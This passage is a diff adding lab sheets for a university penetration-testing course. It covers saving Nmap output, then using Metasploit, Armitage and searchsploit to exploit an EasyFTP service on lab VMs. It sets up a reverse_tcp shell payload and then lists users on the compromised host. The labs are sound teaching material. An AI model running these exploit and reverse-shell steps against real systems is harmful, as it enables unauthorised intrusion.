||||
|
||||
### Nmap and output {#nmap-and-output}
|
||||
|
||||
Having the output to your screen is obviously helpful, but usually you will want to keep a record of Nmap's findings to look back over later, to import into another security program for reporting, for vulnerability analysis (looking for vulnerabilities), or even for exploitation (attack). Here are a few of the main ways that Nmap can save output:
|
||||
|
||||
* \-oN filespec (normal output)
|
||||
Essentially saves a copy of the output in a named file
|
||||
|
||||
* \-oX filespec (XML output)
|
||||
Saves an XML document containing the results. This is the most useful format for importing the results into another program.
|
||||
|
||||
* \-oG filespec (grepable output)
|
||||
Saves to a very simple column format, but is deprecated (that is, not encouraged for use, since it may be removed from later versions).
|
||||
|
||||
* \-oA basename (Output to all formats)
|
||||
Saves all of the above.
|
||||
|
||||
> Tip: You may wish to read the man page for more details about the above features.
|
||||
|
||||
==action: Run Nmap on the target VM(s) and save the normal output:==
|
||||
|
||||
```bash
|
||||
nmap -oN output ==edit:IP-address==
|
||||
```
|
||||
|
||||
==action: Have a look at the output file:==
|
||||
|
||||
```bash
|
||||
less output
|
||||
```
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
> Question: For each IP, run a scan with OS and version detection and output to all three output formats. Since the .xml file contains a lot of information, how might you reformat it to make it more readable?
|
||||
|
||||
### Nmap GUIs {#nmap-guis}
|
||||
|
||||
There are various graphical user interface (GUI) front-ends for Nmap, including the official Zenmap, which is illustrated in the figure below. Essentially the GUI can help to create the command for starting Nmap, and then runs Nmap and displays the results. The GUI can be helpful for beginners, and for saving scanning profiles, although most experts will generally prefer the command line. ==tip: Consider why the command line may be the preferable option==.
|
||||
|
||||
![][zenmap]
|
||||
|
||||
[Zenmap: a GUI for Nmap](http://nmap.org/zenmap/)
|
||||
|
||||
> Note: Kali Linux recently removed Zenmap (and all python 2 programs), however, the screenshot above illustrates that these GUI programs provide an alternative interface. If you wish to learn more about it, you can find information at [https://nmap.org/zenmap/](https://nmap.org/zenmap/). You could also spend a few minutes looking into alternative GUIs.
|
||||
|
||||
## What next? {#what-next}
|
||||
|
||||
Now that you know what software is running on the host (even down to the version of the software running), you have everything you need to plan an attack on the system. From this point there may be more advanced methods of extracting information about the system (known as enumeration), or you may have gathered information that suggests the system is likely vulnerable to certain attacks.
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* learned about ping sweeps, and how they work (and even worked with Bash code for a ping sweep script)
|
||||
|
||||
* learned about port scanning, run a script, and used many important port scanning methods and command line options using Nmap
|
||||
|
||||
* performed banner grabbing manually and automatically using protocol analysis
|
||||
|
||||
* experimented with other features of Nmap (the most used scanner), such as file output, and familiarised yourself with a graphical frontend for Nmap
|
||||
|
||||
Congratulations\! This was a lengthy lab, but these concepts are very important, and these are essential stages in security testing.
|
||||
|
||||
There are flags to be found in the banner grabbing tasks, and an opportunity to exploit a familiar vulnerability.
|
||||
|
||||
> Tip: When you have some time, it is highly recommended to try the extra challenge of writing your own port scanner from scratch in a programming language of your choice (such as Python, Perl, Java, or C). You could add the ability to grab and auto-decode the banners, then save the output to a file.
|
||||
|
||||
## Footnotes
|
||||
|
||||
[^1]: Note that the list scan below may take a while to run (around 5 ½ minutes). Feel free to leave it running and carry on working on another tab if you prefer.
|
||||
|
||||
[^2]: Or have the appropriate Linux capability, although understanding this is outside of the scope of this lab.
|
||||
|
||||
[^3]: For a technical description of how Nmap’s OS detection works: [http://nmap.org/book/osdetect-methods.html](http://nmap.org/book/osdetect-methods.html)
|
||||
|
||||
|
||||
[vm_launch_icon]: /assets/images/common/vm_launch_icon.png
|
||||
[tcp_handshake]: /assets/images/introducing_attacks/5_scanning/tcp_handshake.png
|
||||
[zenmap]: /assets/images/introducing_attacks/5_scanning/zenmap.png
|
||||
581
_labs/introducing_attacks/6_exploitation.md
Normal file
581
_labs/introducing_attacks/6_exploitation.md
Normal file
@@ -0,0 +1,581 @@
|
||||
---
|
||||
title: "From Scanning to Exploitation"
|
||||
author: ["Z. Cliffe Schreuders", "Anatoliy Gorbenko", "Tom Shaw", "Thalita Vergilio"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn hands-on scanning and exploitation techniques, including network scanning with Nmap, using Metasploit and Armitage for exploitation, and searching vulnerability databases to gain control of target systems."
|
||||
overview: |
|
||||
This lab provides hands-on experience in scanning and exploitation, allowing you to delve into the mindset of an ethical hacker. You will explore the process of moving from initial network scanning to identifying vulnerabilities, searching for exploits, and ultimately gaining control of target systems.
|
||||
|
||||
In this lab, you will learn how to scan a network for vulnerable servers, use Metasploit and Armitage for exploitation, and search for vulnerabilities in online databases. Specifically, you will perform tasks such as running network scans using Nmap, importing scan results into Metasploit, searching for Metasploit exploits for various platforms and services, launching exploits to gain access to target systems, and using Armitage to automate certain aspects of the hacking process. By the end of the lab, you will have gained valuable insights into the tactics and techniques used by both malicious actors and cybersecurity professionals.
|
||||
tags: ["exploitation", "metasploit", "nmap", "armitage", "vulnerability", "scanning"]
|
||||
categories: ["introducing_attacks"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1puLuKwqiFMTAZhMKKLhS_aK7kKwWnKw1e3StJBiFmFA/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
reading: "Chapters 2-3: The Basics of Hacking and Penetration Testing by Engebretson (2011)"
|
||||
cybok:
|
||||
- ka: "AB"
|
||||
topic: "Models"
|
||||
keywords: ["kill chains"]
|
||||
- ka: "MAT"
|
||||
topic: "Malicious Activities by Malware"
|
||||
keywords: ["cyber kill chain"]
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["CVEs and CWEs"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS"]
|
||||
- ka: "SOIM"
|
||||
topic: "PENETRATION TESTING"
|
||||
keywords: ["PENETRATION TESTING - SOFTWARE TOOLS", "PENETRATION TESTING - ACTIVE PENETRATION"]
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
## General notes about the labs {#general-notes-about-the-labs}
|
||||
|
||||
Often the lab instructions are intentionally open ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun\!
|
||||
|
||||
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know ([via GitHub](https://github.com/cliffe/HacktivityLabSheets)) and we will try to address any issues.
|
||||
|
||||
## Preparation {#preparation}
|
||||
|
||||
> Action: For all of the labs in this module, start by logging into Hacktivity.
|
||||
|
||||
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
|
||||
|
||||
> Action: Make sure you are signed up to the module, claim a set of VMs for this lab, and start your VMs.
|
||||
|
||||
Feel free to read ahead while the VMs are starting.
|
||||
|
||||
==VM: Interact with the Kali VM==. (Click the launch icon after the VMs have started):
|
||||
![VM Launch Icon][vm_launch_icon]
|
||||
==action: Login with username "kali", password "kali".==
|
||||
|
||||
> Action: Start the Linux and Windows victim servers.
|
||||
|
||||
> Note: *You don't need to login to the target VMs* (you don't need to know the login passwords), just start the VMs.
|
||||
|
||||
Feel free to read ahead while the VMs are starting.
|
||||
|
||||
==action: Note the IP address(es) of the Kali Linux system, using:==
|
||||
|
||||
```bash
|
||||
ip a
|
||||
```
|
||||
|
||||
## Introduction to exploitation and vulnerability analysis {#introduction-to-exploitation-and-vulnerability-analysis}
|
||||
|
||||
After gathering enough information about a target using footprinting and scanning, an attacker may now know enough to launch an attack... How do they know what attacks will work? Where will they find this information? How will they use that information to launch an attack? How can a white hat hacker use this information to check the security of a system? Read on.
|
||||
|
||||
## From scan to manual research and exploitation {#from-scan-to-manual-research-and-exploitation}
|
||||
|
||||
Once you know the operating system and software running on a system, you can refer to your own knowledge of known vulnerabilities, or/and an online database to do a more extensive search.
|
||||
|
||||
For example, if we know that the target is running Windows 2000 server, then it is common knowledge within the security/hacker community that there are a number of vulnerabilities in the software that could lead to an attacker taking full control of the system.
|
||||
|
||||
## Scanning our targets {#scanning-our-targets}
|
||||
|
||||
==VM: On the Kali Linux (attacker) VM==, ==action: scan your network for your two vulnerable servers:== (where the X's are the 2nd and 3rd octets of your Kali VM IP address)
|
||||
|
||||
```bash
|
||||
nmap -sV 10.==edit:X.X==.2-3
|
||||
```
|
||||
|
||||
> Tip: if you don't see the results for two hosts, try restarting the servers. You may find that the Windows scan takes a few minutes to complete.
|
||||
|
||||
> Note: If the nmap result output includes "ftp**?**", try restarting the windows server.
|
||||
|
||||
Based on the output:
|
||||
|
||||
* What is the IP address of the Linux server, and which is the Windows host?
|
||||
* What services are running?
|
||||
* What software and versions are running?
|
||||
|
||||
## From scan to Metasploit exploitation {#from-scan-to-metasploit-exploitation}
|
||||
|
||||
For many, the Metasploit framework (MSF) is the tool of choice when it comes to exploitation and hacking (for conducting security tests or otherwise). For a long time, the standard way of attack used a manual method. The exploits were typically self-contained code, which were complicated and involved manually hardcoding shell code and payloads. That is, until 2004, when HD Moore and spoonm gave a talk at Defcon entitled “Metasploit: Hacking Like in the Movies” (as shown in the figure below). The idea of the Metasploit framework is to provide a reusable and manageable base upon which exploits are developed, meaning payloads can be dynamically selected.
|
||||
|
||||
The result is a free and open source[^1] framework, which now includes over a thousand different exploits. Other exploit frameworks for penetration testing include Core Impact (much more expensive, but similar power to Metasploit) and Canvas (also popular with some businesses, with hundreds of exploits).
|
||||
|
||||
![][metasploit_launch_slide]
|
||||
|
||||
The presentation that introduced Metasploit
|
||||
|
||||
Given how powerful MSF is, it is helpful to know how to get scan results into Metasploit, how to conduct scanning from within Metasploit itself and, based on these results, search for and launch attacks.
|
||||
|
||||
### Scanning and the Metasploit Framework (MSF) {#scanning-and-the-metasploit-framework-msf}
|
||||
|
||||
==VM: On your attacking system (Kali Linux):==
|
||||
|
||||
==action: Initialise the metasploit database:==
|
||||
|
||||
```bash
|
||||
sudo msfdb reinit
|
||||
```
|
||||
|
||||
```bash
|
||||
sudo service postgresql start
|
||||
```
|
||||
|
||||
==action: Start the Metasploit console:==
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
It is possible to run Bash commands from within msfconsole, so you can conduct your normal scanning commands, such as Nmap or Amap, from within msfconsole.
|
||||
|
||||
As an example, ==action: from within msfconsole run:==
|
||||
|
||||
```bash
|
||||
msf > nmap localhost
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > nmap -O -sV -p 1-65535 -oA scan_output1 ==edit:IP-address1==
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > nmap -O -sV -oA scan_output2 ==edit:IP-address2==
|
||||
```
|
||||
|
||||
(Where *IP-address1* and *IP-address2* are the IP addresses of the Windows and Linux target VMs)
|
||||
|
||||
If you have the results of an Nmap scan saved to a file (as you have done, using the commands above - use 'ls' to confirm its existence), then you can import the results into a Metasploit database using db_import. ==action: Run:==
|
||||
|
||||
```bash
|
||||
msf > db_import scan_output1.xml
|
||||
```
|
||||
|
||||
Alternatively, you can run "db_nmap" to run a scan and save the results to the database automatically. ==action: Run:==
|
||||
|
||||
```bash
|
||||
msf > db_nmap -O -sV -p 1-65535 -oA scan_output2 ==edit:IP-address2==
|
||||
```
|
||||
|
||||
Metasploit now has knowledge of these hosts and ports[^2].
|
||||
|
||||
==action: View all the hosts that Metasploit has recorded in the database. Run:==
|
||||
|
||||
```bash
|
||||
msf > hosts
|
||||
```
|
||||
|
||||
==action: Now list all the ports. Run:==
|
||||
|
||||
```bash
|
||||
msf > services
|
||||
```
|
||||
|
||||
==action: To narrow this down to any services on port 21, run:==
|
||||
|
||||
```bash
|
||||
msf > services -p 21
|
||||
```
|
||||
|
||||
If we wanted to attack this target, we could add a "-R" to that, so that the RHOSTS variable would be set accordingly. ==action: Run:==
|
||||
|
||||
```bash
|
||||
msf > services -p 21 -R
|
||||
```
|
||||
|
||||
> Note: Make note of the software running - this will be important later.
|
||||
|
||||
Metasploit also has various port scanning modules, so you can port scan without using Nmap (although these port scan modules are not as feature-complete as Nmap).
|
||||
|
||||
==action: To view a list of port scanner modules type (without pressing enter):==
|
||||
|
||||
```bash
|
||||
msf > use auxiliary/scanner/portscan/
|
||||
```
|
||||
Then hit TAB to see the autocomplete options.
|
||||
|
||||
==action: To do a standard TCP connect scan, select the module:==
|
||||
|
||||
```bash
|
||||
msf > use auxiliary/scanner/portscan/tcp
|
||||
```
|
||||
|
||||
==action: As per usual check the options that need to be set:==
|
||||
|
||||
```bash
|
||||
msf auxiliary(tcp) > show options
|
||||
```
|
||||
|
||||
The output indicates that RHOSTS is required, and if you have followed the above steps its current value will be already set to the Windows server. You *could* have instead set the RHOSTS value manually with:
|
||||
|
||||
```bash
|
||||
msf auxiliary(tcp) > set RHOSTS ==edit:IP-address1==
|
||||
```
|
||||
|
||||
(Where *IP-address1* is the IP address of one of your VMs)
|
||||
|
||||
==action: You can also instruct the scan module to use multiple threads, to speed up the scan:==
|
||||
|
||||
```bash
|
||||
msf auxiliary(tcp) > set THREADS 10
|
||||
```
|
||||
|
||||
==action: And to start the scan, run:==
|
||||
|
||||
```bash
|
||||
msf auxiliary(tcp) > run
|
||||
```
|
||||
|
||||
The database will now include any additional services found (if any). Again, do not be surprised if running this takes a while. Feel free to read ahead while waiting, or open another terminal window to further explore the previous commands. ==action: Once finished, check the database:==
|
||||
|
||||
```bash
|
||||
msf auxiliary(tcp) > services
|
||||
```
|
||||
|
||||
==action: Exit the TCP module:==
|
||||
|
||||
```bash
|
||||
msf auxiliary(tcp) > back
|
||||
```
|
||||
|
||||
```bash
|
||||
msf >
|
||||
```
|
||||
|
||||
Consider the following:
|
||||
|
||||
> Question: How does this scan compare with the previous Nmap scan against this host?
|
||||
|
||||
> Action: Experiment to see how high you can set the threads value and continue to see faster scans.
|
||||
|
||||
### Searching for Metasploit exploits {#searching-for-metasploit-exploits}
|
||||
|
||||
Strictly speaking, you don't need to import scan results into Metasploit, you can search for exploits manually based on your scanning results, service by service.
|
||||
|
||||
The search command can be used to find Metasploit modules, based on some criteria. ==action: Run:==
|
||||
|
||||
```bash
|
||||
msf > help search
|
||||
```
|
||||
```
|
||||
Usage: search [keywords]
|
||||
|
||||
Keywords:
|
||||
name : Modules with a matching descriptive name
|
||||
path : Modules with a matching path or reference name
|
||||
platform : Modules affecting this platform
|
||||
type : Modules of a specific type (exploit, auxiliary, or post)
|
||||
app : Modules that are client or server attacks
|
||||
author : Modules written by this author
|
||||
cve : Modules with a matching CVE ID
|
||||
bid : Modules with a matching Bugtraq ID
|
||||
osvdb : Modules with a matching OSVDB ID
|
||||
|
||||
Examples:
|
||||
search cve:2009 type:exploit app:client
|
||||
|
||||
```
|
||||
|
||||
Check the Examples section to see how various searches are formatted. ==action: So to search for exploits for Windows 2000, run:==
|
||||
|
||||
```bash
|
||||
msf > search type:exploit platform:'Windows'
|
||||
```
|
||||
|
||||
**If we already had a CVE** for a vulnerability we want to exploit (if a vulnerability was found in the CVE database), we can search for this RDP DCOM example vulnerability that can be used to attack older versions of Windows:
|
||||
|
||||
```bash
|
||||
msf > search type:exploit cve:2003-0352
|
||||
```
|
||||
|
||||
==action: Look at the examples again, and **search for the software by name**.== The software you should be looking for was found on Port 21 in a previous step (==hint: it should be some kind of FTP service…==)
|
||||
|
||||
> Note: Note the module name for the exploit (one ending in cwd_fixret).
|
||||
|
||||
==action: Based on the output from this, display the module details:==
|
||||
|
||||
```bash
|
||||
msf > info exploit/windows/==edit:module_name==
|
||||
```
|
||||
|
||||
Where *module_name*, was obtained from the previous search.
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
==action: Search for exploits for Windows XP==
|
||||
|
||||
==action: Search for exploits with the word "buffer overflow" anywhere in the description==
|
||||
|
||||
==action: Search for exploits with a CVE starting with 2018 or 2019==
|
||||
|
||||
==action: Search for exploits for Linux==
|
||||
|
||||
==action: Search for exploits for the IRC server on one of the target VMs==
|
||||
|
||||
### Launching Metasploit exploits[^3] {#launching-metasploit-exploits}
|
||||
|
||||
Now that you have identified the Metasploit exploit module based on previous scanning, ==action: you can use the module:==
|
||||
|
||||
```bash
|
||||
msf > use exploit/windows/==edit:module_name==
|
||||
```
|
||||
|
||||
==action: Check the required options:==
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > show options
|
||||
```
|
||||
|
||||
==action: Set the options (where IP-address is the Win2k VM's IP address):==
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > set RHOST ==edit:IP-address1==
|
||||
```
|
||||
|
||||
==action: Show compatible payloads:==
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > show payloads
|
||||
```
|
||||
|
||||
==action: Select and configure a payload:==
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > set PAYLOAD windows/shell/reverse_tcp
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > set LHOST ==edit:KALI_HOST_ONLY_IP_ADDRESS==
|
||||
```
|
||||
|
||||
==action: Test whether the target is vulnerable:==
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > check
|
||||
```
|
||||
|
||||
> Note: Note that the majority of exploits (such as this one) do not support checking whether the target is vulnerable, so you will have to launch the attack before you know for sure.
|
||||
|
||||
==action: Launch the attack:==
|
||||
|
||||
```bash
|
||||
msf (windows/ftp/easyftp_cwd_fixret) > exploit
|
||||
```
|
||||
|
||||
Hey presto! You have admin access to the remote system!
|
||||
|
||||
> Tip: if it did not work, try restarting the Windows VM. Also use 'show options' before launching the exploit, to check the required settings and ensure the IP addresses are correct.
|
||||
|
||||
Again, ==action: for now run these commands to confirm you have access to the target:==
|
||||
|
||||
==action: List the files and directories in C:\\==
|
||||
|
||||
```bash
|
||||
dir C:\\
|
||||
```
|
||||
|
||||
==action: List all the user accounts on the machine==
|
||||
|
||||
```bash
|
||||
net user
|
||||
```
|
||||
|
||||
Later we will cover all the exciting things you (or an attacker) can do with this new found power.
|
||||
|
||||
> Note: Once you have exploited this service, then you will need to restart the Windows VM before your next attack, since the vulnerable service will no longer be running.
|
||||
|
||||
### Armitage and automated hacking[^4] {#armitage-and-automated-hacking}
|
||||
|
||||
Armitage is a FOSS (free and open source software) frontend for MSF, which provides a graphical interface and includes some automation features.
|
||||
|
||||
If you have restarted or reverted your VM, ==action: first run:==
|
||||
|
||||
```bash
|
||||
sudo msfdb reinit
|
||||
```
|
||||
|
||||
```bash
|
||||
sudo service postgresql start
|
||||
```
|
||||
|
||||
==action: Start Armitage by running:==
|
||||
|
||||
```bash
|
||||
armitage &
|
||||
```
|
||||
|
||||
==action: Leave the options as they are and click "Connect".==
|
||||
|
||||
If prompted, allow Armitage to start the Metasploit RPC server (click "Yes").
|
||||
|
||||
> Note: *It may take a while for Armitage to start.*
|
||||
|
||||
Armitage may prompt for your own attack computer IP address. ==action: Enter your Kali VM's IP address (other than 127.0.0.1), and click OK.==
|
||||
|
||||
![][armitage_set_local_ip_address]
|
||||
|
||||
Armitage will display any hosts already in the Metasploit database.
|
||||
|
||||
Armitage can be used to launch Nmap scans, the result of which are automatically imported into MSF:
|
||||
|
||||
==action: Click the menu "Hosts", and select "Nmap Scan", "Quick Scan (OS detect)", and enter the IP address of the Windows Server VM.==
|
||||
|
||||
Once Nmap has scanned the IP address, (if it wasn't already in the database) the Windows VM will now be shown as a computer monitor containing the Windows logo.
|
||||
|
||||
Based on the operating system and service detection, Armitage can suggest attacks that the system may be vulnerable to. ==action: Instruct Armitage to do so:==
|
||||
|
||||
==action: Click the menu "Armitage", "Set Exploit Rank", "Poor"==
|
||||
|
||||
==action: Click the menu "Attacks", "Find attacks".==
|
||||
|
||||
==action: View the exploit suggestions:==
|
||||
|
||||
==action: Right click the screen representing the server, select "Attack", and look at the list of suggestions.==
|
||||
|
||||
==action: Launch the exploit for the easyFTP Vulnerability that we discussed earlier:==
|
||||
|
||||
==action: Under the attack menu for the VM (the popup you were just looking at), click "ftp", and "easyftp_cwd_fixret". Click "launch".==
|
||||
|
||||
![][armitage_attack_menu_easyftp]
|
||||
|
||||
Launching an automatically suggested attack in Armitage
|
||||
|
||||
Voila! The screen will be shown in red. You have exploited a vulnerability in the system, and now have administrator access to the server, meaning you can run commands on the remote computer!
|
||||
|
||||
![][armitage_compromised]
|
||||
|
||||
Woot!
|
||||
|
||||
==action: Open a command prompt on the server, by clicking "Meterpreter 1", "Interact", "Command shell".==
|
||||
|
||||
Again, ==action: for now run these commands to confirm you have access to the target:==
|
||||
|
||||
==action: List the files and directories in C:\\==
|
||||
|
||||
```bash
|
||||
dir C:\\
|
||||
```
|
||||
|
||||
==action: List all the user accounts on the machine==
|
||||
|
||||
```bash
|
||||
net user
|
||||
```
|
||||
|
||||
> Flag: There is a flag to be found on a user's Desktop! Find and submit it to Hacktivity.
|
||||
|
||||
Later we will cover all the exciting things you (or an attacker) can do with this new found power.
|
||||
|
||||
## Hack the Linux server {#hack-the-linux-server}
|
||||
|
||||
> Action: **Based on what you have learned, compromise the Linux server.**
|
||||
|
||||
Search for and exploit vulnerabilities in the Linux server VM using all the techniques above. ==hint: P.S. Consider using reverse shell as a payload==
|
||||
|
||||
> Flag: There is a flag to find in a user's home directory! Find it and submit it to Hacktivity.
|
||||
|
||||
## Vulnerability Databases {#vulnerability-databases}
|
||||
|
||||
==VM: On your own PC:== ==action: Try searching these online vulnerability databases for the software you identified:==
|
||||
|
||||
[https://packetstormsecurity.com/search/](https://packetstormsecurity.com/search/)
|
||||
|
||||
[https://www.cvedetails.com](https://www.cvedetails.com/)
|
||||
|
||||
[https://nvd.nist.gov/vuln/search](https://nvd.nist.gov/vuln/search)
|
||||
|
||||
[http://www.securityfocus.com/bid](http://www.securityfocus.com/bid)
|
||||
|
||||
> Question: What vulnerabilities are likely present?
|
||||
|
||||
> Question: Did you find the same information across each of these resources?
|
||||
|
||||
> Note: *Note that CVE and NVD list officially registered security vulnerabilities: not all possible vulnerabilities are necessarily registered and assigned CVEs.*
|
||||
|
||||
### The Exploit DB {#the-exploit-db}
|
||||
|
||||
The Exploit DB is an extensive database of vulnerabilities and exploits, with a focus on vulnerabilities with working exploits. The database can be accessed via the website.
|
||||
|
||||
==VM: On your own PC (out of the lab environment):==
|
||||
|
||||
==action: Visit:==
|
||||
|
||||
* [http://www.exploit-db.com/](http://www.exploit-db.com/)
|
||||
|
||||
Kali Linux includes a local version of the database, including the source code for *thousands* of exploits.
|
||||
|
||||
==VM: On Kali Linux==, the exploits are located in /usr/share/exploitdb/, and are sorted by platform. For example, exploits that target Windows are located in /usr/share/exploitdb/platforms/windows. ==action: To list these, run:==
|
||||
|
||||
```bash
|
||||
find /usr/share/exploitdb/exploits/windows | less
|
||||
```
|
||||
|
||||
==action: Scroll through, and press 'q' to quit.==
|
||||
|
||||
As you can see, there are many, and their filenames are not helpful to understand what they target. There is a file that provides an index, which describes what each exploit does. ==action: Open it and have a look:==
|
||||
|
||||
```bash
|
||||
less /usr/share/exploitdb/files_exploits.csv
|
||||
```
|
||||
|
||||
==action: Scroll through, and press 'q' to quit.==
|
||||
|
||||
==action: You can search through this information using grep:==
|
||||
|
||||
```bash
|
||||
grep -i "EasyFTP" /usr/share/exploitdb/files_exploits.csv
|
||||
```
|
||||
|
||||
*Where "EasyFTP" was the software you discovered during the nmap scan.*
|
||||
|
||||
Or (you should try both), ==action: the "searchsploit" command:==
|
||||
|
||||
```bash
|
||||
searchsploit easyFTP
|
||||
```
|
||||
|
||||
==action: Examine your findings. Then run:==
|
||||
|
||||
```bash
|
||||
searchsploit -m windows/remote/11539.py
|
||||
```
|
||||
|
||||
> Note: The -m option downloads the exploit into your current working directory.
|
||||
|
||||
Either way, this information tells you where you can find the exploits on your local system.
|
||||
|
||||
### Extra tasks
|
||||
|
||||
> Action: Based on what you have learned above, you can try to exploit a vulnerability in EasyFTP by running one of these standalone exploits downloaded from Exploit DB. This might require editing the source file or setting some parameters in the command prompt (e.g. set up the target IP address), and/or compilation of the source code (for C/C++). If you are unfamiliar with how to do this, read around online about using these exploits.
|
||||
|
||||
> Tip: Before using this way to penetrate the system with the standalone exploit code you will need to restart the Windows VM before your next attack, since the vulnerable service might no longer be running after the previous successful attack (cyberattacks exploiting buffer overflow vulnerabilities usually crash the target application).
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Learned how to use scanning results to manually research and find relevant vulnerabilities and exploits
|
||||
|
||||
* Used The Exploit DB to find and run an exploit
|
||||
|
||||
* Learned how to scan from within Metasploit, and how to search through Metasploit’s exploits
|
||||
|
||||
* Used Armitage as an interface for MSF, and automatically searched for exploits
|
||||
|
||||
* Learned many ways to search for and exploit vulnerable services on remote systems, to get shell access
|
||||
|
||||
Congratulations\!
|
||||
|
||||
## Footnotes
|
||||
|
||||
[^1]: There has been some discussion within the Debian community about whether the latest version of Metasploit has a “free” license, but the framework itself seems to be licensed using a BSD-like license.
|
||||
|
||||
[^2]: If you get an error saying “postgresql selected, no connection”, try running msfdb delete followed by msfdb init.
|
||||
|
||||
[^3]: If you have already found the Windows flag, you can skip this section.
|
||||
|
||||
[^4]: If you have already found the Windows flag, you can skip the step-by-step instructions to hack into the Windows machine. Instead, you should use Armitage to break into the Linux machine and find the flag.
|
||||
|
||||
[vm_launch_icon]: /assets/images/common/vm_launch_icon.png
|
||||
[armitage_set_local_ip_address]: /assets/images/introducing_attacks/6_exploitation/armitage_set_local_ip_address.png
|
||||
[metasploit_launch_slide]: /assets/images/introducing_attacks/6_exploitation/metasploit_launch_slide.png
|
||||
[armitage_compromised]: /assets/images/introducing_attacks/6_exploitation/armitage_compromised.png
|
||||
[armitage_attack_menu_easyftp]: /assets/images/introducing_attacks/6_exploitation/armitage_attack_menu_easyftp.png
|
||||
776
_labs/introducing_attacks/7_post-exploitation.md
Normal file
776
_labs/introducing_attacks/7_post-exploitation.md
Normal file
@@ -0,0 +1,776 @@
|
||||
---
|
||||
title: "Post-exploitation"
|
||||
author: ["Z. Cliffe Schreuders", "Anatoliy Gorbenko", "Thalita Vergilio"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn post-exploitation techniques including privilege escalation, information gathering, password hash collection, and advanced payloads like Meterpreter for maintaining access and pivoting through compromised systems."
|
||||
overview: |
|
||||
Post-exploitation is the phase where an attacker, having gained initial access to a target system, aims to further exploit the compromised system, gather information, escalate privileges, and maintain access. Once an attacker has a foothold in a system, they can misuse the privileges they have "appropriated" to take actions on the system, or go on to try to gain even more access on this or other connected systems. In this lab, you will delve into the intricacies of post-exploitation in a controlled environment, gaining hands-on experience in a range of activities that mirror real-world cyberattacks.
|
||||
|
||||
You will learn the skills used by an attacker or security tester, to take action once an exploit has been successful. Throughout this lab, you will learn how to identify and exploit vulnerabilities in a target system, understand the extent of access you have gained, and execute privilege escalation to elevate your control on the compromised system. You will compile and transfer a local privilege escalation exploit, collect password hashes, and discover sensitive data. Additionally, you will explore advanced payloads, such as Meterpreter, and experiment with features like keylogging and screen capturing. You will also understand the concept of pivoting, where you attack one system through another, and cover your tracks to maintain stealth. By the end of this comprehensive lab, you will have completed the essential stages of a typical cyberattack, enhancing your skills and knowledge in the field of cybersecurity.
|
||||
tags: ["post-exploitation", "metasploit", "meterpreter", "privilege-escalation", "pivoting", "keylogging", "armitage"]
|
||||
categories: ["introducing_attacks"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1bt0yKzKjExEih5cmXyl-D__loGwV0UJxQJEDIXxCGxw/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
reading: "[An excellent resource is Metasploit Unleashed.](http://www.offensive-security.com/metasploit-unleashed/Exploits)"
|
||||
cybok:
|
||||
- ka: "AB"
|
||||
topic: "Models"
|
||||
keywords: ["kill chains"]
|
||||
- ka: "MAT"
|
||||
topic: "Malicious Activities by Malware"
|
||||
keywords: ["cyber kill chain", "attack on confidentiality, integrity, availability"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["Post-exploitation: pivoting attacks, information gathering"]
|
||||
- ka: "SOIM"
|
||||
topic: "PENETRATION TESTING"
|
||||
keywords: ["PENETRATION TESTING - SOFTWARE TOOLS", "PENETRATION TESTING - ACTIVE PENETRATION"]
|
||||
---
|
||||
|
||||
## General notes about the labs {#general-notes-about-the-labs}
|
||||
|
||||
Often the lab instructions are intentionally open ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun\!
|
||||
|
||||
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know ([via GitHub](https://github.com/cliffe/HacktivityLabSheets)) and we will try to address any issues.
|
||||
|
||||
## Preparation {#preparation}
|
||||
|
||||
==action: For all of the labs in this module, start by logging into Hacktivity==.
|
||||
|
||||
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven’t already, have a read through.
|
||||
|
||||
==action: Make sure you are signed up to the module, claim a set of VMs for this lab, and start your VMs==.
|
||||
|
||||
Feel free to read ahead while the VMs are starting.
|
||||
|
||||
|
||||
==VM: Interact with the Kali VM==. (Click the launch icon after the VMs have started):
|
||||
![VM Launch Icon][vm_launch_icon]
|
||||
|
||||
==action: Login with username "kali", password "kali".==
|
||||
|
||||
==action: Start the Linux and Windows victim servers==.
|
||||
|
||||
